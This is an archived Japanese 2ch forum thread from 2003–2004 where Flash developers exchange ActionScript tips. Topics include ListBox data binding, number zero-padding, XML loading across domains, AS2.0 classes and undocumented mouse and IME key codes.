【AS】ActionScript技術交換スレ Part2at SWF
【AS】ActionScript技術交換スレ Part2 - 暇つぶし2ch2:Now_loading...774KB
03/12/20 23:19
初~中級者向け。AS全体の概念をじっくりと。
URLリンク(village.infoweb.ne.jp)

ASの概念をfla付きでわかりやすく解説(ASをゼロから学ぶ初心者に超オススメ!)
URLリンク(www.geocities.co.jp)

Fumio Nonaka. 非公式テクニカルノート
URLリンク(www.fumiononaka.com)

Flash-jp、国内Flash界最大のフォーラムサイト
URLリンク(www.flash-jp.com)

FLASHでのCGI連携を優しく解説しているサイト。
URLリンク(j73x.com)

XMLソケットを使用したJava-FLASHの連携を紹介しているサイト。
URLリンク(faces.bascule.co.jp)

FlashMX、2004用の汎用ソケットサーバー配布サイト
URLリンク(www.geocities.co.jp)

Class周りのリファレンス・英語リファレンスの和訳など
URLリンク(hpcgi2.nifty.com)



3:Now_loading...774KB
03/12/20 23:22
Macromedia本家サイトのフォーラム(海外)
URLリンク(webforums.macromedia.com)

コンポーネント配布サイト(海外)
URLリンク(www.flashcomponents.net)

汎用メソッド、Classの登録サイト(海外)
URLリンク(proto.layer51.com)

世界最高峰のASWikiサイト(海外)
URLリンク(chattyfig.figleaf.com)

Flash お勉強ページ 勝手にリンク! (現在dat落ち)
スレリンク(swf板)

【Macromedia】Flash MX 2004【Professional】
スレリンク(swf板)

【書籍】flashMXの本をゆっくり待つスレ
スレリンク(swf板)

【XML】XMLソケットなどの話題はここで【socket】
スレリンク(swf板)

■ FLASH MX + JAVA ■(プログラム板)
スレリンク(tech板)

4:Now_loading...774KB
03/12/20 23:23
最後失敗(汗

■ FLASH MX + JAVA ■(プログラム板)
スレリンク(tech板)


5:Now_loading...774KB
03/12/20 23:41
乙っと

6:Now_loading...774KB
03/12/21 01:02
超お疲れさま!

7:Now_loading...774KB
03/12/21 01:02
前スレ1000 
( ゚皿゚)エエコに取らせるつもりだったのに

8:Now_loading...774KB
03/12/21 08:54
なんで前スレ1000はCなんだ

9:Now_loading...774KB
03/12/21 21:13
Part.3かな?
ともあれ>>1


10:Now_loading...774KB
03/12/23 18:42
[ComponentTask] について教えて欲しい。

11:Now_loading...774KB
03/12/24 12:35
交換条件次第では教えてやろう

12:Now_loading...774KB
03/12/24 16:01
URLリンク(flashguru.co.uk)
これでは交換条件になりませんか。

13:Now_loading...774KB
03/12/24 17:16
なりません。もっといい交換じゃないと教えません。

14:Now_loading...774KB
03/12/24 18:03
お前ら、コンバンワ

検証用に WINflash4Playerを入れたいんだが、米macromediaから過去のplayerをダウソするとcab形式になってます。

マカーの漏れにはwinがわからないので教えてください。

(´・ω・`)ショボーン

15:Now_loading...774KB
03/12/24 18:05
>>14
よくわからんがeoかなんかで解凍しては?

AS関連じゃないし、そもそもFlash4はASじゃないわけだが

16:Now_loading...774KB
03/12/24 18:05
追記

解凍することできますた。しかし、下記ファイルをどうするかわかりません (((´・ω・`)・・・
Swflash.ocx
swflash.inf


おまいらつД`) タスケレ !!

17:Now_loading...774KB
03/12/24 18:25
スレ違いしつこい。
>FLASH周りのコアな技術交換
とは言わさんぞ。
Mac板でもWin板でもいいからどっか池。

18:Now_loading...774KB
03/12/25 17:10
>>13
ハードコードされてる文字シリーズ
プレヴュームーヴィー用?
  setSize
  onUpdate
[Event]用
  __f_

他にもたくさんありそう。

19:Now_loading...774KB
03/12/29 18:28
お前ら、よいお年を(^-^)ツ

20:Now_loading...774KB
03/12/29 23:22
正直MX2004が期待はずれだったのでMXの時ほど研究意欲がわかん・・・



21:Now_loading...774KB
03/12/29 23:52
>>20
AS2なんか面白いじゃん。
オブジェクト指向で行こうぜ。

22:Now_loading...774KB
03/12/30 16:48
>>21
現状のAS2はAS1のラッパーでしかないのでかなり微妙。
strictなコード管理が出来るのはいいかと思うが
研究対象にはならんなぁ・・・


23:Now_loading...774KB
04/01/04 23:06
MX2004買えねえよ。家賃より高いんだもんよ。
いまどきMX2004使ってる香具師は貧乏人、なのか・・・?

24:Now_loading...774KB
04/01/04 23:07
MX使ってる香具師は、だった鬱

25:Now_loading...774KB
04/01/04 23:55
微妙に勝組な気もする>MX止まり

起動は遅いけど、他は特に悪くないんでもっぱらMX2004で作業してますが
新機能は全く使ってないなぁ・・・というかPlayer7形式はまだまだ時期早々

マターリ行こう

26:Now_loading...774KB
04/01/06 08:29
>>25
「尚早」だろ。

27:負け組
04/01/10 12:10
Javascript なんだし
interface I {
  var a;
  var b;
}
なんてのもできていいと思うのだが、なんで駄目なんだ。

28:Now_loading...774KB
04/01/11 19:42
>>27
何が言いたいのかわからん。
interfaceなら使えるけど?
変数の型宣言が面倒くさいわけ?

29:Now_loading...774KB
04/01/12 15:19
interface I {
 function f();
}
だけでなく
interface I {
 var a;
}
も通して欲しいということ。

30:Now_loading...774KB
04/01/12 15:22
>>29
変数をインターフェイスで利用しようってのはなんか考え方が根本から間違ってる予感。


31:Now_loading...774KB
04/01/13 12:53
いや JavaScript なんだから、interface は、
コンパイル時のチェック以外の意味はない...よね?
便利だと思うけどなぁ。

32:Now_loading...774KB
04/01/13 22:19 CLQdkzc2
CFMXとAccessでデータベースとの連携をやっています。
例えばListBoxに社員全員の名前を表示させて、クリックした社員の
住所、氏名、電話番号をTextBoxに表示するという感じのものを作っています。
この時、ListBoxに名前のみを表示させたいのですが、その場合に
ListBoxのどこに他のデータ(社員コード)を隠して持たせるかが分からず
難航しています。
もう一つListBox2を隠して作り、そこに社員コードのみを表示させて、
ListBox1.GetSelectedIndex()からListBox2の社員コードを引っ張ってくるという
作戦を取ってみましたがスマートではないです。
VBで言うところのItemDataのようなものはFlashには無いのでしょうか?

33:Now_loading...774KB
04/01/14 09:52
さっそく質問です

NowLoadingどうやるの?

っていうか分かる人居なそうだなぁ・・。

34:Now_loading...774KB
04/01/14 10:00
>>33
>>1を熟読してから初心者スレへ逝け。

35:Now_loading...774KB
04/01/14 10:08
>>32
そういう場合、ListBoxはただの表示枠であって、
データと切り離すのが普通なのでは?

データは社員毎のデータオブジェクトを作って、
プロパティに必要なデータを設定しておき、
必要なものだけListBoxに表示させればいいと思います。



36:Now_loading...774KB
04/01/14 10:20
>>34
ネタにマジレス気持ち悪い

37:Now_loading...774KB
04/01/14 14:20
で、いつになったらヘルプは更新されるんですか(´A`;

38:32
04/01/14 21:47 BOY+mKuU
>>35
レスありがとうございます。
ListBoxをクリックしたらその社員のデータを表示させるのが目的です。
社員毎のデータオブジェクトを作るとは、配列などに持たせると言う意味でしょうか。
ListBoxとデータオブジェクトとの関連をどこにどうやって持たせるのかが分からないのです。
例えばListBoxの鈴木一郎をクリックしたらSQLで
SELECT * FROM Member WHERE name = '鈴木一郎'
とやるのは可能ではありますが、SQL文に日本語を混ぜる事に抵抗がありますし、
鈴木一郎が二名以上いた場合に困るので
WHERE ID = 3
などでクエりたいのです。
>>プロパティに必要なデータを設定しておき
この文の意味がいまいち理解できないので、トンチンカンな事を言っていたらすみません。

39:Now_loading...774KB
04/01/14 21:58
>>38
そんなんListBoxのLabelに「鈴木一郎」、
DataにIDをぶち込めばすむ話じゃないかと・・・

rs = new Array();

rs.push({Label:"鈴木一郎",Data:0});
rs.push({Label:"田中次郎",Data:1});
rs.push({Label:"佐藤三郎",Data:2});

test_lb.setDataProvider(rs);



40: ◆0SYzNuPrAU
04/01/14 22:00
一番わかりやすーく書くとこんな感じ

member = new Array();

member[1] = new Object();
member[1].name = "鈴木";
member[1].age = "30;

member[2] = new Object();
member[2].name = "佐藤";
member[2].age = 20;


のようにメンバーデータを格納して

member[id].name
member[id].age

でデータにアクセスできる


41:Now_loading...774KB
04/01/14 22:01
オートナンバーを追加してnameを表示されりゃいいじゃん?
んでオートナンバーからSQL接続して表示。

それか最初のデーター読み込みで多次元配列化しとくか?

42: ◆0SYzNuPrAU
04/01/14 22:05
>>38-39
あ、微妙に質問の意図読み違えてたぽ・・・
ListBoxのラベルとデータの関連付けは>>39が正解

43:32
04/01/14 22:33 BOY+mKuU
皆さん、即レスありがとうございます。
何とかできました。
ListBoxにDataプロパティがあったのですね。
FlashのヘルプのListBoxパラメータという所に[データ]とカタカナであったやつが
これの事だったようです。
各コンポーネントのプロパティ/メソッド一覧ってどこかに無いですかね?
自分が参考にさせてもらっているのは
URLリンク(www.geocities.jp)
などです。ちょっと古いようですけど初心者の自分としては助かっています。

それはともかく、皆さん多謝です。

44:39=まっつん ◆SW1/SWF8io
04/01/14 22:42
>各コンポーネントのプロパティ/メソッド一覧
それこそMX内のコンポーネントリファレンスを隅々まで読めば解決かと。
もしくはリファレンスを載せている書籍を1冊購入する・・とか。

ちなみにそれ、ListBoxのリファレンスじゃなくて
DataGridのリファレンスなので念のため。
(ま、同名のメソッドの場合は同じ挙動をするだろうから問題ないけど)


つか、そのリファレンスを参考にしてる人って初めて聞いたので
嬉しさのあまりコテ出しちゃったw

45:Now_loading...774KB
04/01/15 05:38
>>38
ごめん全然AS関係ないけど

> SELECT * FROM Member WHERE name = '鈴木一郎'
> とやるのは可能ではありますが、SQL文に日本語を混ぜる事に抵抗がありますし、

そんなアホなことに抵抗持たないでください。
そのSQLが通らないんだったら世の中のシステムは動かなくなります。


46:Now_loading...774KB
04/01/15 20:07
ASにはサブルーチンみたいなのはないですか?

47:Now_loading...774KB
04/01/15 20:14
あるにきまってんだろ。

48:Now_loading...774KB
04/01/15 20:20
ahoka

49:Now_loading...774KB
04/01/18 18:01
念のためホッシュ。

50:Now_loading...774KB
04/01/19 10:45
ご、










                                                                  50ッ!

51:Now_loading...774KB
04/01/19 14:18
>>50
へたくそ。。。

52:Now_loading...774KB
04/01/19 15:09
もまえら何かネタねーのかよ!!

53:Now_loading...774KB
04/01/19 19:29
CとASどっちがすごいですかあ?

54:Now_loading...774KB
04/01/19 20:35
>>53
アセンブラ最強、と

55:Now_loading...774KB
04/01/19 21:12
COBOLとASどっちがすごいですかあ?

56:Now_loading...774KB
04/01/19 21:56
釣りか?全てにおいてASに決まってるだろボケ。

57:Now_loading...774KB
04/01/19 23:11
>>56
普通にC++やらの方が上だよ。

58:Now_loading...774KB
04/01/19 23:34
>>52
このスレ見る人って自己解決できるレベルの人が多そうだから
UIとかCGI連携なんかの話以外は簡単にはネタは出ないでしょ
FLASH中上級スレが撃沈したのと同じ

で、FLASHからMP3を抜き出すにはどうすりゃいいの?


59:Now_loading...774KB
04/01/19 23:38
>>58
スクリプトを使わなくてもできますよ
カセットテープにマイクで録音して、それを再生しマイクでパソコンに録音でOKです。
作業中には声を出さないようにね

60:Now_loading...774KB
04/01/20 00:09
>>58
swf仕様書見れば簡単にわかる事ですな論外だ。

>>57
その理由は?

61:Now_loading...774KB
04/01/20 02:00
スレ違いかもしれないけど、
ASで組むときで、クヌース本に載ってるような
いわゆる純粋なアルゴリズムを適用する局面ってある?
漏れはソートぐらいしか思いつかないんだけども。

62:Now_loading...774KB
04/01/20 02:34
>>61
(・∀・)なるほど!

63:Now_loading...774KB
04/01/20 18:49
>>60
|電柱|-`).。oO(お前他言語使ってみろよ。

64:Now_loading...774KB
04/01/20 19:07
全体的な手軽さで言えばASはC++より優れてるけどね

|電柱|-`).。oO(スレ違いです

65: ◆0SYzNuPrAU
04/01/26 11:47 YOMHi1ed
Director MX 2004にAS(JavaScript)搭載age
SS見ると微妙にLingo交じりな文法になってるぽいけど・・・

URLリンク(www.macromedia.com)


66:Now_loading...774KB
04/01/26 23:54
Directorたけぇよ

67:Now_loading...774KB
04/02/05 05:15 H+MBngdp
いいのか?保守

68:Now_loading...774KB
04/02/06 20:40 mHj/bjWu
web制作管理板のASスレが終了しましたので来ました。
コンゴトモヨロシク・・・

ActionScriptの質問は第二章で♪
スレリンク(hp板)

69:Now_loading...774KB
04/02/06 21:40
質問スレじゃないからかなりマターリしてますが、コンゴトモヨロシク・・・。

70:Now_loading...774KB
04/02/07 15:36
>>68
そのスレの>>681はど~~っこかで見た事があるような、、、

う~ん

71:cascade ◆YU1mgokxPc
04/02/07 19:09
>>68
そのスレ立てたの俺だったりするわけで・・・・ついに1000いきますたか
>>70
気のせい気のせい

72:Now_loading...774KB
04/02/07 19:31
>>70
...なんで681なんて中途半端なレス番を見つけたんだよオマエ?

1.ヒマだから
2.バカだから
3.まっつ、うわなんだなにをするやめ(ry

73:Now_loading...774KB
04/02/07 23:54
ASつかって擬似3Dよりちょっと進んだ3DってCPUパワー的にできるんだろうか。
3Dの簡単なデータを読み込んで点を配置して透視を考慮したスクリーンへの座標変換して。
それで奥の面から線引いて領域塗って・・・
さらにこれを動かすとか。

74:Now_loading...774KB
04/02/08 00:11
>>73
できるよ。

75:Now_loading...774KB
04/02/08 02:36
ポリゴン表示程度ならとっくの昔に実現してるよ
URLリンク(www.kazsh.com)

76:Now_loading...774KB
04/02/08 12:40
>>75
おー、ほんとだ。じゃあもっとポリゴン数増やしてWizadryっぽくしたりできますね。
あとは影落とすのと曲面とトゥーンレンダリングっぽくもがんばればできそうですかね。

77:Now_loading...774KB
04/02/08 20:38
>>76
URLリンク(www.procreo.jp)

78:Now_loading...774KB
04/02/11 02:46 BzOW6WbA
FCSの話題はここでいいのかな・・・?
現在Personal使用中ですが、FCSサーバーを通したビデオ画像の画質が
非常によろしくないです。
Professionalを買ったら画質と速度は向上するのでしょうか?

79:Now_loading...774KB
04/02/11 05:15
帯域幅のせいで画質と速度が落ちているなら、ProとPersonalで変わるけど、
画質の設定は、Flash内で設定するんで、そっちで調整してみる。

80:78
04/02/11 21:50
>>79
なるほど、出来た。
ありがとう。

81:まっつん ◆SW1/SWF8io
04/02/18 01:25
久々のカキコ。
マウスの中ボタンの押下状態をt/fで持ってる
かなりステキな隠し(?)プロパティ

ASnative(800, 2)(4);

こいつの中身を監視して適当なイベントハンドラに処理を渡すような
ことって可能でしょうか?(EnerFrameやsetIntervalでってのは抜きで)

Object.watchとかaddListenerとかaddPropertyのプロパティに直接当てるとか
そこらへんを使えばできそうな気もしないでもないんだけど・・・教えてエロい人!


82:まっつん ◆SW1/SWF8io
04/02/18 01:27
とりあえずEnterFrameで監視の場合はこんな感じで実現。

this.prev = false;
this.onEnterFrame = function(){
 var State = ASnative(800, 2)(4);
 if(State != this.prev){
  if(State) trace("押しますた");
  else trace("離しますた");
 }
 this.prev = State;
}

83:cascade ◆YU1mgokxPc
04/02/18 08:14
エロくは無いですが

ASnative(800, 2)(4)はKey.isDown(4)ってことなんだけど
mouseでもkeyでも拾ってくれないぽいな~
評価式の結果なのでObject.watchもきかないぽ
役に立たないcascadeでした。

↓きっと役に立つ人orエロい子

84:EMCMA ◆0SYzNuPrAU
04/02/18 13:23
大分前にFLASH CODERSにも同ネタがあったね。
「今現在判明してる仕様上」ではenterFrameで監視するのがベストかも?

ついでに以前調べた特殊Keycodeを列挙しとく、適当に役立ててくらさい
(Key.isDown(num)で取得すれ)

■マウス関連
1..左クリック
2..右クリック
4..ミドル
5..ボタン4
6..ボタン5

■Windows限定IME関連(2kとXPで確認)
245 .. IMEがオン
246 .. IMEがオフ

243 .. 全角がオフ
244 .. 全角がオン

242 .. ひらがなモード
241 .. カタカナモード
240 .. 英数字モード



85:Now_loading...774KB
04/02/22 02:21 gpbG9rt4
age

86:まっつん ◆SW1/SWF8io
04/02/23 23:58
先日のカンファレンスに行われた野中さんのAS講座、
早くも野中さんのサイトでサンプルデータ公開中。
URLリンク(www.fumiononaka.com)

会場で聞いてた時は講義自体が急ぎ足だった関係もあって
中盤以降何やってるか全然わかんなかったから
サンプルデータを見返して復習しなければ・・_| ̄|○
(いや、急ぎ足なのは時間の関係上しょうがないんだけどね)

>>83-84
んーむ。FLASH CODERSでもイベントの方法が出てないって事は
やっぱEnterFrameでやっとくのが無難なんですね、了解しますた。
(確かに、Keyオブジェクトをリスナーにしても拾ってくれない時点でダメかぁ、
いやそれだったらASSetPropFragsあたりで表に引っ張り出して・・頭痛くなるからやめとこ)

なにげにIME関連も見てるのかー。
これ使えば手元にある超力技IME変換スクリプト(Win+IE5.5以上限定)を
も少し改良できるぞ!よしよし・・・

87:EMCMA ◆0SYzNuPrAU
04/02/24 01:59
for(i=0;i<500;i++){
if(Key.isDown(i)){
trace(i);
}
}

上記の以外にも
押しっぱなしになってるキーコードがあるんだけど、中身不明。

>>86
数個のキー監視くらいならenterFrameで回してもたいした負荷じゃないしね。
IME関連はゲーム起動時に「日本語入力切れ!」とか注意を促すのにも使えるね。

88:Now_loading...774KB
04/02/24 16:05
まだ、MXerなんだけどさ、
AS2ってどんな感じですかこの野郎。

89:Now_loading...774KB
04/02/27 02:19
>>88
こないだ見つけたAS2.0でできることを見事にまとめきったクラスサンプル。
URLリンク(www.gt.sakura.ne.jp)


あと何かありますっけ?>誰か

90:Now_loading...774KB
04/02/27 09:08
コンポーネント定義に関する記述がないけど、2.0に関してはそんなもんか。
interfaceもちゃんと取り上げればいいと思うけど。

91:Now_loading...774KB
04/02/27 10:57
とりあえずfumiononaka.comを見れ。


92:Now_loading...774KB
04/02/28 15:04
ContextMenu.builtInItems.save
って何?

93:Now_loading...774KB
04/02/28 18:18
>>89
URLリンク(www.person13.com)
日本語訳もあり。

94:Now_loading...774KB
04/03/01 11:19
hosyu

95:Now_loading...774KB
04/03/09 19:35
agetemiru

96:Now_loading...774KB
04/03/25 22:32 bSk8ySAp
XML クラスの load() メソッドに URL 渡せば
HTTP 経由でファイル読んでくれるって
どっかで聞いたんだけど、ガセだったのかな。

97:Now_loading...774KB
04/03/25 22:45
>>96
できるよ

98:96
04/03/25 22:47
うえーん、何故か読み込み失敗してるよー
もうちょっとやってみる
ありがとん

99:Now_loading...774KB
04/03/25 23:46
>>98
読み込み実行した瞬間に使おうとかしてるんでは?
読み込み完了まで待っておくれよ

100:Now_loading...774KB
04/03/26 00:29
ほっしゅりぼへへ

101:96
04/03/26 06:51
>>99
いやー、load() した瞬間に Error opening URL になんのよ。
当然 onLoad で指定した関数無いで loaded 見ても false になってる。
うーん

102:96
04/03/26 06:51
関数無い→関数内

103:96
04/03/26 09:03 aatUnt2p
XmlInstance.load("URLリンク(www.hogehoge.com)");
みたいな感じで使ってたんだけど、
URLリンク(www.macromedia.com)
ここを見る限りは
「指定する URL はムービー(swf ファイルのことかな)と同じサブドメインになきゃいけない」
とあるね。まさか http:// から書いたら駄目なのかな。

URLリンク(www.hogehoge.com) から
URLリンク(www.hogehoge.com) にアクセスするために
XmlInstance.load("/hogehoge.xml");
ってやった場合には上手くいくんだけどな……。
サーバー上はルートじゃない場所にファイルを置いてあるから、
これは HTTP 上のパスでアクセスできてることになるね。
これが限界なのかなー

104:Now_loading...774KB
04/03/26 09:03
XML.load("URL")は同一ドメイン内じゃないとロードできない
ってのは大丈夫かね?

105:96
04/03/26 09:45
大丈夫。
swf ファイルと同一ドメイン内に XML ファイルを置く必要があるのは理解できたよ。
でも、load() に渡す URL で http:// からの表記が使えないのを知らなかったんだ。
勝手に上手くやってくれるもんだとばっかり思ってたよ……

106:Now_loading...774KB
04/03/26 10:02
駄目か
あとはこれ(ポリシーファイル)を試してみてくれ

URLリンク(www.macromedia.com)

107:Now_loading...774KB
04/03/29 06:11
>>105
そっか?フルパスで書いても通ってるけど。
なんか違うミスじゃ?

108:Now_loading...774KB
04/04/07 22:25
捕手

109:Now_loading...774KB
04/04/09 10:48 g4Cnfj3H
なんかこのソフトスクリプトが巻き戻ったりしない?
ファイルのタイムスタンプを見るとちゃんと保存されている様に
見えるけど開いてみると古いソースだったことが何回も・・・
テキストファイルにコピペしてソース管理してたんで事無きを得たけど
正直洒落にならんぞ・・・
みんなはどうやってソース管理してるの?

110:Now_loading...774KB
04/04/09 12:04
パブリッシュしたあとに、flaのほうを保存するのを
忘れてたに一票

111:Now_loading...774KB
04/04/09 13:18
>>109
そのようなことはぜんぜんまったく1度も身に起こった事がございません。

112:Now_loading...774KB
04/04/10 19:14
>>109-111
俺もその事態には遭遇したことはないんだけど、
巻き戻り現象はバグ(?)として本当に存在するらしいです。
URLリンク(www.flash-jp.com)
現状でわかってる回避作は「スクリプトの固定」を使わない、という事でいいのかなあ・・(MX2004時)

113:Now_loading...774KB
04/04/15 14:20
なんでASはフォーマットするたびに
コメントの前に勝手に改行入れたり
複数行のコメントがどんどんインデントされて右にずれていくわけですか?

114:Now_loading...774KB
04/04/16 06:50
perlのsprintfみたいに数値をフォーマットするのに
(例(3桁):1→001、12→012等)
Number()とString()を使ってフォーマットしているのですが、
もっとスマートな方法はありませんか?

115:Now_loading...774KB
04/04/16 15:43
どんなコード書いてるか知らんので助言できんが

num = 123;

digit = 8;
zero = "0000000000";
num = (zero + num).substr(zero.length-(digit-num.toString().length));

trace(num);

こんな感じ?

116:Now_loading...774KB
04/04/16 17:31
function hoge(n,digit)
{
zero = Math.pow(10,digit);
num = zero + n ;
return String(num).substr(1);
}

117:Now_loading...774KB
04/04/16 20:46
>>116
おぉ!スマートだ!!

118:Now_loading...774KB
04/04/17 00:17
varつけようよ

119:Now_loading...774KB
04/04/17 16:26
function intToStr(n,len){return String(Math.pow(10,len)+n).slice(-len)}

120:Now_loading...774KB
04/04/21 19:35
一行の場合{}は省略できます

121:Now_loading...774KB
04/04/21 22:38
もはや趣旨が違うことにワロタ

122:Now_loading...774KB
04/04/22 01:16
>>120
行ではなく文ではないですか?

123:Now_loading...774KB
04/04/25 21:37
それより何でECMA系には文字列フォーマットが実装されていないのかが問題だ。

124:Now_loading...774KB
04/04/27 13:39
いいから正規表現を搭載すれといいたい

125:バイク犬
04/04/27 14:20
>>96
亀だけど

var myxml = new XML();
myxml.onLoad = function(success) {
if (conf.loaded) {
hogehoge();
}
};
myxml.load("muxml.xml");

とか。

126:バイク犬
04/04/27 14:21
間違えた。
×if (conf.loaded) {
○if (myxml.loaded) {

127:Now_loading...774KB
04/05/01 16:59
保守。

128:Now_loading...774KB
04/05/01 17:31
with{}構文って使わないよね?
こんなもののためにスコープ(インデント)を1つ使うのは嫌だし、
_parentとかthisを使いたい時にややこしいし、
パスが長いときは一時的なオブジェクトをこんな感じで
var hogeobj = _root.komc.magomc.himagomc;
hogeobj._x = 10;
使えばいいだけだし、
有効な使い方ってあるんだろうか。

129:Now_loading...774KB
04/05/01 20:09
今まで_parentに書いてたものを丸ごとMCにカトペしたいときとか

130:しっぽ ◆J6TaIL.y.Y
04/05/05 21:28
URLリンク(tail.your2ch.net)

なんか作りました。
カラーピッカーでコンポーネントなんです。
使ってくれたりとかバグ報告とかあったら嬉しい。

131:Now_loading...774KB
04/05/06 00:12
>>130
骨でおせわになってます

数値入力から、ピッカーの位置の移動は無理そうですか?
あとカーソル入力で微妙なカラー選択機能あると嬉しいです。

132:Now_loading...774KB
04/05/06 01:37
>>130
こういったものを惜しげもなく公開してくれるしっぽ氏に乾杯。

即興で作ってみました↓
URLリンク(venus.aez.jp)

133:Now_loading...774KB
04/05/06 01:53
>>132
おぉ、すばやいなぁ
こういう使い方が一番しっくりくるでしょうね

134:しっぽ ◆J6TaIL.y.Y
04/05/06 01:57
>>131
一番右の項目では数値入力できます。
連動してるので問題ないかなーと。

>>132
どうもですー。
にしてもswf直とかで拡大になるとアイコン汚いなぁ・・・

135:しっぽ ◆J6TaIL.y.Y
04/05/06 01:59
と思ったら、数値入力のとこでバグ発見しちゃった orz
Hueになに入れても赤くなっちゃいますね。
直しますです。。。

136:しっぽ ◆J6TaIL.y.Y
04/05/06 02:09
連続すいません。
修正しました。
textっていう部分がtexyになってただけという、、、これだから僕は。

>>131さんの書き込みを見て
>>132さんのをいじって発見しました。
ナイスコンビネーションに感謝します _|\○_

137:Now_loading...774KB
04/05/06 02:45
しっぽさんtexy!

138:Now_loading...774KB
04/05/18 01:35 Jr3CYUv/
保守カキコ&たまには日干しage。

AS物質スレが最近盛況ですなー。
わりと中級者以上の内容も散見されるから
こっちも使ってくれたらいいのにねぇ。

139:Now_loading...774KB
04/05/18 01:49
>>まっつん
じゃあエエコが率先して使ってくださいw

140:Now_loading...774KB
04/05/26 00:04
URLリンク(www.seshop.com)
久しぶりに手ごたえのある本になるかの・・・

141:Now_loading...774KB
04/05/26 00:05
URLリンク(www.fumiononaka.com)
こっちのアドレスの方がよかったか

142:Now_loading...774KB
04/05/26 00:27
加藤さんとバスキュールさんか。これは買いだな。

143:Now_loading...774KB
04/05/26 06:34 ppRfUlEc
なぁ、ActionScriptって動的型結合だから関数の引数の型指定ってできないよな。
これって実行されるまで渡されるオブジェクトが不明で結構危険な気もするんだけど。
typeofでいちいちチェックするしかないのか?

144:Now_loading...774KB
04/05/26 07:30
あー、ライブラリの関数も引数不正なら何もしないとかになってるな。
Cとかみたいに厳密にコンパイルエラーで知らせることはできないのか。

145:Now_loading...774KB
04/05/26 13:45
>>143
2.0つかいなされ

146:Now_loading...774KB
04/05/26 21:49
質問です。
ASでベジェ曲線を制御したいのですが、
参考になる日本語サイトご存知ないですか?

147:Now_loading...774KB
04/05/26 21:57
ちょっと待て。
ペジェ分かってるか?
アンカーを制御したいって事?

148:Now_loading...774KB
04/05/26 22:25
もちろんそうです。例えばこんなやつ
URLリンク(actionscript-toolbox.com)

149:Now_loading...774KB
04/05/26 22:39
curveTo を駆使するか・・・。


150:しっぽ ◆J6TaIL.y.Y
04/05/27 15:17
|-゚)ペジェ?

151:Now_loading...774KB
04/05/27 18:22
ふつーにcurveTo使うべ。

152:しっぽ ◆J6TaIL.y.Y
04/05/28 11:37
っていうかなんか懐かしい。

153:Now_loading...774KB
04/05/31 06:29
>>150のつっこみを>>147は理解したのだろうか・・・

154:Now_loading...774KB
04/05/31 22:50 Q1QcL23b
2の
 ASの概念をfla付きでわかりやすく解説(ASをゼロから学ぶ初心者に超オススメ!)
 URLリンク(www.geocities.co.jp)
ここかなり参考になるので作った人更新を再開してほしい。


155:初期不良
04/06/01 01:43 n6c0QvnM
JavaプログラマなんですけどAS2.0触ってみてかなーり
Javaライクに書けるんで助かりますた。
けど、あんまりはやってないの?>AS2.0

抽象クラスが無いんで適当に抽象クラスのふりをしている
普通のクラスを作ったり、コンストラクタのオーバーロードが
できないのでサブクラスのコンストラクタで無理やり実装したり
少し難はありますけど、カバーできない話でもないですし。
今まで大文字小文字が区別されていなかった?とか、
クラスを作っていくと .as ファイルが多くなるのでバージョニング
しやすかったり、かなーり良くなったんでは?

156:Now_loading...774KB
04/06/01 02:05
>>155
AS触ってる人たちは傾向としてスクリプト育ちの人が多いですからねぇ。
今後155さんのようなJava育ちの人がどれだけFlash(AS2.0)に触れるかが
カギのような気もしなくはないです。

と。インスタンスやクラスまでは何となくわかっても、
コンストラクタとかインタフェースとかになるとお手上げ状態のエセPGの戯言ですた。

157:Now_loading...774KB
04/06/01 03:14
AS2にはいろいろ動作的に怪しいところがあるというのもあるし、
そもそも2004にUPする価値自体あまり感じない人も結構多いんだろうね
まぁこれからはふえてくだろうて

158:初期不良
04/06/01 05:39
>>157
>AS2にはいろいろ動作的に怪しいところがあるというのもあるし、

一月ほど人の作ったデザインにお絵かきを実装する
作業したんですけど、特に問題らしい問題は無かったですよ。
on() とかローカル変数仕様ですらない類のものを使うと
大変ですけど... あと、やっぱり変数宣言無しで使えるのは
変数のタイプミスが見つからなくてかなり時間をとられた...
けど、Java 的発想のものはとりあえずだいたい思った通りの
実装になっている感じです。

まあ、ここまで大幅に変わったと言うことはまだ紆余曲折ありそうで、
その辺も心配ですが...

159:Now_loading...774KB
04/06/07 03:05
Action Script 2.0に相性のいいエディタって何かな。
みんな何を使ってる?

Action Script用のエディタって、日本語がダメな場合が多い気がする。

160:Now_loading...774KB
04/06/07 07:03
>>159
FlashMX2004 使ってます。

161:Now_loading...774KB
04/06/07 09:51
ちょっと発見。
MXでもホイールの回転取れるのね。
確実に動作するかは微妙だけど。


162:Now_loading...774KB
04/06/07 10:29
>>159
Peggyに設定ファイル入れて使ってる
内蔵エディタは重いしコードアシスト馬鹿だし嫌い(あれなら無くて良い)


163:Now_loading...774KB
04/06/07 10:34
メモ帳最強。

164:Now_loading...774KB
04/06/07 11:19
>>161
既出

エディタは
2004使うくらいならメモ帳だな
普段はxyzzyのjavaモードだけど、お勧めできない。

165:Now_loading...774KB
04/06/07 11:24
>>164
MX2004じゃなくて、MXでだよ?

166:Now_loading...774KB
04/06/07 11:25
AS2.0って書いてあるやん。

167:Now_loading...774KB
04/06/07 11:30
>>166
もうちょっとよく推理しる。

>>165
だから既出。
MX時代のもなちゃととかで、Flashログがホイール動作してた

168:Now_loading...774KB
04/06/07 11:32
>>167
2004使ってないけど、ホイールは便利だから使いたかったんで、色々調べてみたんだけど
常識だったのか・・・


169:Now_loading...774KB
04/06/07 12:17
既出裏技(?)一覧が欲しいよね


170:Now_loading...774KB
04/06/07 12:27
>>169
欲しいっすね・・・
ホイール関係はかなり頑張ってググッたりしたんだけど、結局見つからず。
javascript使ってIE6のみで動くのならすぐに見つかるんだけど。
デコンパイラーまで使ってみたりしたのに・・・
普通に使えるんだもんなぁ。

171:Now_loading...774KB
04/06/07 15:17
>>162
その設定ファイルホスィ・・・
うpキボンヌ

172:Now_loading...774KB
04/06/07 16:18
>>171
FLASH-Japanにあるやつじゃないの?

173:Now_loading...774KB
04/06/07 18:01
>>172
サンクス

174:Now_loading...774KB
04/06/07 21:09 NWkS4xab
テキストフィールドの大きさを動的に変える事は出来ませんか?

TextField.autoSize="left";

↑これだと、中身が改行しない大きさまで広がるということですよね?
テキストの量に関わらず、横幅を「ココまで」と言う風に変えたいんです。
ピクセル単位で大きさを決定できればそれが一番良いんですが、何か良い方法ありませんでしょうか?

win2000/FLASH MX

175:Now_loading...774KB
04/06/07 22:17
>>174
スレ間違ってるよ

176:Now_loading...774KB
04/06/16 13:31
PHPとFLASHでデータやり取りするときは皆さんどうしてますか?
URLリンク(www.actionscript.org)
ここにあるようにWDDXをつかってやる方法が一般的なんでしょうか、
